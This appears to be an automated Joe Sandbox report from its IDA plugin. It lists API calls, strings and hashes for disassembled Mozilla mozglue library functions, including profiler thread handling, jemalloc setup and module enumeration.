GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4644D2
InitOnceExecuteOnce.KERNEL32(6C4DF80C,6C45F240,?,?), ref: 6C46451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C46455C
LoadLibraryW.KERNEL32(?), ref: 6C464592
InitializeCriticalSection.KERNEL32(6C4DF770), ref: 6C4645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4645BB
InitOnceExecuteOnce.KERNEL32(6C4DF818,6C45F240,?,?), ref: 6C464612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C464636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C464644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C46466D
VerSetConditionMask.NTDLL ref: 6C46469F
VerSetConditionMask.NTDLL ref: 6C4646AB
VerSetConditionMask.NTDLL ref: 6C4646B2
VerSetConditionMask.NTDLL ref: 6C4646B9
VerSetConditionMask.NTDLL ref: 6C4646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4646FD

Strings

WRusr.dll, xrefs: 6C4644B5
NativeNtBlockSet_Write, xrefs: 6C4646F7
user32.dll, xrefs: 6C464557, 6C46463F
l, xrefs: 6C464578
GMl, xrefs: 6C4644FC
kernel32.dll, xrefs: 6C4644CD

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GMl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2381000077
Opcode ID: 544dc8fed64871669112ce88b27a0b38c82f48ab076222727f1c91288146361d
Instruction ID: 61e59f80f81f8a223958c4497f784b29367333f04f3977ec516e7a5e63f9e68d
Opcode Fuzzy Hash: 544dc8fed64871669112ce88b27a0b38c82f48ab076222727f1c91288146361d
Instruction Fuzzy Hash: 226104B0A01344AFFF20FF61C859F95BBB8EB42349F04C459E9049BA51D771AA84CFA1

Function 6C49F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C49F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C49F8F9

Part of subcall function 6C466390: GetCurrentThreadId.KERNEL32 ref: 6C4663D0
Part of subcall function 6C466390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4663DF
Part of subcall function 6C466390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C46640E

ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F93A
GetCurrentThreadId.KERNEL32 ref: 6C49F98A
GetCurrentThreadId.KERNEL32 ref: 6C49F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49F716

Part of subcall function 6C4994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4994EE
Part of subcall function 6C4994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C499508

Part of subcall function 6C45B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C45B5E0

GetCurrentThreadId.KERNEL32 ref: 6C49F739
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F746
GetCurrentThreadId.KERNEL32 ref: 6C49F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C4D385B,00000002,?,?,?,?,?), ref: 6C49F829
free.MOZGLUE(?,?,00000000,?), ref: 6C49F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C49F866
free.MOZGLUE(?), ref: 6C49FA0C

Part of subcall function 6C465E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4655E1), ref: 6C465E8C
Part of subcall function 6C465E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C465E9D
Part of subcall function 6C465E60: GetCurrentThreadId.KERNEL32 ref: 6C465EAB
Part of subcall function 6C465E60: GetCurrentThreadId.KERNEL32 ref: 6C465EB8
Part of subcall function 6C465E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C465ECF
Part of subcall function 6C465E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C465F27
Part of subcall function 6C465E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C465F47
Part of subcall function 6C465E60: GetCurrentProcess.KERNEL32 ref: 6C465F53
Part of subcall function 6C465E60: GetCurrentThread.KERNEL32 ref: 6C465F5C
Part of subcall function 6C465E60: GetCurrentProcess.KERNEL32 ref: 6C465F66
Part of subcall function 6C465E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C465F7E

free.MOZGLUE(?), ref: 6C49F9C5
free.MOZGLUE(?), ref: 6C49F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C49F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C49F9A6
" attempted to re-register as ", xrefs: 6C49F858
Thread , xrefs: 6C49F789

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 70c6136170f316ab4975b2010f98d8f63ae3f3ceed92208f4b185baa2994dc00
Instruction ID: 65f5c136e41d07d0a3a685a036b4e708b9f84963fbdf222e3d1ca488a112c8ce
Opcode Fuzzy Hash: 70c6136170f316ab4975b2010f98d8f63ae3f3ceed92208f4b185baa2994dc00
Instruction Fuzzy Hash: 4E811571A052149FEB10EF24C840FAABBB5EF85308F55455DE8499BB51EB30E849CBD2

Function 6C49EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C49EE60
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49EE6D
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C49EEA5
CloseHandle.KERNEL32(?), ref: 6C49EEB4
free.MOZGLUE(00000000), ref: 6C49EEBB
GetCurrentThreadId.KERNEL32 ref: 6C49EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49EECF

Part of subcall function 6C49DE60: GetCurrentThreadId.KERNEL32 ref: 6C49DE73
Part of subcall function 6C49DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C464A68), ref: 6C49DE7B
Part of subcall function 6C49DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C464A68), ref: 6C49DEB8
Part of subcall function 6C49DE60: free.MOZGLUE(00000000,?,6C464A68), ref: 6C49DEFE
Part of subcall function 6C49DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C49DF38

Part of subcall function 6C48CBE8: GetCurrentProcess.KERNEL32(?,6C4531A7), ref: 6C48CBF1
Part of subcall function 6C48CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4531A7), ref: 6C48CBFA

GetCurrentThreadId.KERNEL32 ref: 6C49EF1E
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49EF2B
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49EF59
GetCurrentThreadId.KERNEL32 ref: 6C49EFB0
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49EFBD
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49EFE1
GetCurrentThreadId.KERNEL32 ref: 6C49EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49F000

Part of subcall function 6C4994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4994EE
Part of subcall function 6C4994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C499508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C49F02F

Part of subcall function 6C49F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C49F09B
Part of subcall function 6C49F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C49F0AC
Part of subcall function 6C49F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C49F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C49F008
[I %d/%d] profiler_stop, xrefs: 6C49EED7

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 0f96445bfbaa473a8a7b2b1d3c8f1fbc8d36580ad193d8b257bbecbf7cb5e33c
Instruction ID: e7af11c331620efb6375aa37684dd8c4e4820329b3f5eaab6e8b7f2c3f680c74
Opcode Fuzzy Hash: 0f96445bfbaa473a8a7b2b1d3c8f1fbc8d36580ad193d8b257bbecbf7cb5e33c
Instruction Fuzzy Hash: 9A51D231606221AFEF20FB64D858FA57FB4FB5632AF14451AE91583B41DB71B804C7E2

Function 6C48D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C4DE804), ref: 6C48D047
GetSystemInfo.KERNEL32(?), ref: 6C48D093
__Init_thread_footer.LIBCMT ref: 6C48D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C4DE810,00000040), ref: 6C48D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE7B8,00001388), ref: 6C48D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE744,00001388), ref: 6C48D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE784,00001388), ref: 6C48D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE7DC,00001388), ref: 6C48D1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C48D322
Compile-time page size does not divide the runtime one., xrefs: 6C48D26D
<jemalloc>, xrefs: 6C48D268, 6C48D311
MALLOC_OPTIONS, xrefs: 6C48D0CB
MOZ_CRASH(), xrefs: 6C48D277

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 7f10685fe16fe00949f94d5a61aa04be90cca2d51c292fe21da1696b7d2fef8b
Instruction ID: b956ff32d7712f70f4b1627cf9330d164a246748c21d9eb9bfbc9175bb5c85f8
Opcode Fuzzy Hash: 7f10685fe16fe00949f94d5a61aa04be90cca2d51c292fe21da1696b7d2fef8b
Instruction Fuzzy Hash: E281CE70F022529BEB04FF68C894FA9B7B5EB4A719F10052BE90197B80D771E845CBD2

Function 6C467FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C468007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C46801D

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C46802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C46803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C46808D

Part of subcall function 6C46CA10: mozalloc_abort.MOZGLUE(?), ref: 6C46CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C46809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C46810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C468133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C468149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C468167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C46817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C468199

Strings

0>Il, xrefs: 6C46811E

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Il
API String ID: 2721933968-2586129944
Opcode ID: 50a04689e41c7baeb1c84eb7b19580049e14645f5addc38eae575c75a583f017
Instruction ID: 562743b4ea70890c19695ec050af6595067d164859b1a098df77f842cda88b44
Opcode Fuzzy Hash: 50a04689e41c7baeb1c84eb7b19580049e14645f5addc38eae575c75a583f017
Instruction Fuzzy Hash: 315163B2E002149BDF10DFAADC84EEFB7B9AF49264F140529E815E7745E730AD05CBA1

Function 6C465E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C465E9D

Part of subcall function 6C475B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4756EE,?,00000001), ref: 6C475B85
Part of subcall function 6C475B50: EnterCriticalSection.KERNEL32(6C4DF688,?,?,?,6C4756EE,?,00000001), ref: 6C475B90
Part of subcall function 6C475B50: LeaveCriticalSection.KERNEL32(6C4DF688,?,?,?,6C4756EE,?,00000001), ref: 6C475BD8
Part of subcall function 6C475B50: GetTickCount64.KERNEL32 ref: 6C475BE4

GetCurrentThreadId.KERNEL32 ref: 6C465EAB
GetCurrentThreadId.KERNEL32 ref: 6C465EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C465ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C466017

Part of subcall function 6C454310: moz_xmalloc.MOZGLUE(00000010,?,6C4542D2), ref: 6C45436A
Part of subcall function 6C454310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4542D2), ref: 6C454387

moz_xmalloc.MOZGLUE(00000004), ref: 6C465F47
GetCurrentProcess.KERNEL32 ref: 6C465F53
GetCurrentThread.KERNEL32 ref: 6C465F5C
GetCurrentProcess.KERNEL32 ref: 6C465F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C465F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C465F27

Part of subcall function 6C46CA10: mozalloc_abort.MOZGLUE(?), ref: 6C46CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4655E1), ref: 6C465E8C

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4655E1), ref: 6C46605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4655E1), ref: 6C4660CC

Strings

GeckoMain, xrefs: 6C465ECE, 6C466015

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 74209f567f5df5e2a8da45842e05564f42f895c086b9502a15c0caeacf316730
Instruction ID: b754c82b4f0eec265528107f467987b9a3e97a07bb798ad0992a0be31a50a776
Opcode Fuzzy Hash: 74209f567f5df5e2a8da45842e05564f42f895c086b9502a15c0caeacf316730
Instruction Fuzzy Hash: 1971AEB0A057409FD710EF29D480EAABBF0BF59304F54496DE8868BF52D731E958CB92

Function 6C469590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C453217
Part of subcall function 6C4531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C453236
Part of subcall function 6C4531C0: FreeLibrary.KERNEL32 ref: 6C45324B
Part of subcall function 6C4531C0: __Init_thread_footer.LIBCMT ref: 6C453260
Part of subcall function 6C4531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C45327F
Part of subcall function 6C4531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C45328E
Part of subcall function 6C4531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4532AB
Part of subcall function 6C4531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4532D1
Part of subcall function 6C4531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4532E5
Part of subcall function 6C4531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C469675
__Init_thread_footer.LIBCMT ref: 6C469697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C469707
__Init_thread_footer.LIBCMT ref: 6C46971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C469773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4697B7
FreeLibrary.KERNEL32 ref: 6C4697D0
FreeLibrary.KERNEL32 ref: 6C4697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C469824

Strings

MapViewOfFileNuma2, xrefs: 6C4697B1
ntdll.dll, xrefs: 6C4696E3
NtMapViewOfSection, xrefs: 6C469701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C469670

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 3ac359178766b36e170509a8fe3f625ba5a917dfdf2ee55335feac4e89fc05f8
Instruction ID: 2dde13dc307f8051a99a34a6a83b536cde64973097cdf4a16a30e2af30632f5e
Opcode Fuzzy Hash: 3ac359178766b36e170509a8fe3f625ba5a917dfdf2ee55335feac4e89fc05f8
Instruction Fuzzy Hash: E461C171B01206DBEF10FFA9D884F9A7BB1EB4A316F008529ED1587B84D771B844CB91

Function 6C4B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C4DF618), ref: 6C4B6694
GetThreadId.KERNEL32(?), ref: 6C4B66B1
GetCurrentThreadId.KERNEL32 ref: 6C4B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C4B66E1
EnterCriticalSection.KERNEL32(6C4DF618), ref: 6C4B6734
GetCurrentProcess.KERNEL32 ref: 6C4B673A
LeaveCriticalSection.KERNEL32(6C4DF618), ref: 6C4B676C
GetCurrentThread.KERNEL32 ref: 6C4B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C4B6868
RtlCaptureContext.NTDLL ref: 6C4B687F

Strings

WalkStack64, xrefs: 6C4B6890

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 307f284a6e04357b31b1b73686fff8e393c9154d2dcfd6b26e93de29fbcd6ca1
Instruction ID: 22895a64192276a0775694bc744148a84eef047e5cfc797a45e5e40b28244647
Opcode Fuzzy Hash: 307f284a6e04357b31b1b73686fff8e393c9154d2dcfd6b26e93de29fbcd6ca1
Instruction Fuzzy Hash: 75516A71A09301AFDB15EF24C844E9ABBF4BF89714F04492DF999A7740D770E909CBA2

Function 6C49DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
